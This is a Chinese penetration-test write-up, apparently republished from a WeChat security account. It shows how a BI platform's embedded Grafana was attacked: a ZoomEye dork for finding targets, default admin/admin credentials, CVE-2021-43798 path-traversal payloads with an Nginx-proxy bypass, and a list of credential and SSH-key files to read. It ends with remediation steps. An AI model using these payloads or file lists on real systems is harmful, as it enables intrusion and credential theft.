前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >某易BI平台渗透之旅

某易BI平台渗透之旅

作者头像
潇湘信安
发布2023-03-10 15:45:36
6420
发布2023-03-10 15:45:36
举报
文章被收录于专栏:潇湘信安

0x01 前言

这篇文章由"潇湘信安技术交流群"@天明师傅投稿,记录的是他在公司某个安服项目中碰到了这个BI平台,机缘巧合之下发现了这个通用漏洞,特意投稿分享下经验。

0x02 渗透之旅

刚开始采用awvs、afrog和nuclei进行全量的漏洞扫描时未有任何发现,后面尝试目录探测时有了新的发现。

峰回路转之dirsearch的救赎
代码语言:javascript
复制
[09:42:33] 200 -   32KB - /monitoring/                                      
[09:42:33] 200 -   32KB - /monitor/
[09:42:33] 200 -   32KB - /monitoring
[09:42:34] 200 -   32KB - /monitor 

[09:41:39] 200 -  751B  - /callback

/monitoring/、/monitor/这俩路径绝对会触发302跳转,callback则是随机,可能触发跳转。

这个就是今天的主角。

正常请求BI平台:

zoomeye dork

代码语言:javascript
复制
iconhash:"dfbaaf8af7911cfb7eb068d8b19f6799"

影响范围:仅在V 7.20版本测试成功。

版本号可以根据页面当中的用户手册来判断。

思路1-默认口令

默认口令:admin admin,不知道其他目标如何,至少我碰上的目标未修改。不过即使修改了也无伤大雅,有一个文件读取漏洞等着你,可以搞到grafana的账号密码。

思路2-Grafana文件读取

CVE-2021-43798这个漏洞信息的部分可自行百度了解,此处单刀直入,直接说利用细节。

最初的验证POC为:

代码语言:javascript
复制
/monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd

此处利用应修改为:

代码语言:javascript
复制
/monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd

注:一般情况下就成了,如果对方使用了nginx/apache反代,中间件的URI_normalization机制导致URL被标准化。此时原有payload就会失效,服务端会爆400错误。如下图所示:

代码语言:javascript
复制
# proxy_grafana.conf

server {
    listen         8081;
    server_name    127.0.0.1;
    charset        utf-8;
    location / {
        proxy_pass http://192.168.1.100:3000;
    }
}

此时可采用bypass 400的payload进行绕过,payload为:

代码语言:javascript
复制
/monitor/public/plugins/text/#/../../../../../../../../../../etc/passwd

深入利用

代码语言:javascript
复制
/etc/grafana/grafana.ini         #grafana控制台的管理员明文密码
/var/lib/grafana/grafana.db      #控制台其他账户

/etc/grafana/grafana.ini

linux文件遍历,此处只举出比较重要的,更全面的可以参考Web-Fuzzing-Box的Linux_File.txt

代码语言:javascript
复制
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

关于nginx proxy error 400相关文章可参考,这里我用的是第二篇文章里的一个payload。

代码语言:javascript
复制
https://articles.zsxq.com/id_baeb9hmiroq5.html    
https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/#_Nginx_400
关于CVE-2021-43798的修复
  1. 升级到安全版本,即版本号>8.3.0。
  2. 临时防御:修改proxy_grafana的配置如下所示:

Tips:重点是proxy_pass的端口号后一定要加上/

代码语言:javascript
复制
# proxy_grafana.conf
server {
listen         8081;
server_name    127.0.0.1;
charset        utf-8;
location / {
proxy_pass http://192.168.1.100:3000/;
    }
}

0x03 参考文章

代码语言:javascript
复制
https://github.com/jas502n/Grafana-CVE-2021-43798
https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-11-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 峰回路转之dirsearch的救赎
  • 思路1-默认口令
  • 思路2-Grafana文件读取
  • 关于CVE-2021-43798的修复
相关产品与服务
Grafana 服务
Grafana 服务(TencentCloud Managed Service for Grafana,TCMG)是腾讯云基于社区广受欢迎的开源可视化项目 Grafana ,并与 Grafana Lab 合作开发的托管服务。TCMG 为您提供安全、免运维 Grafana 的能力,内建腾讯云多种数据源插件,如 Prometheus 监控服务、容器服务、日志服务 、Graphite 和 InfluxDB 等,最终实现数据的统一可视化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档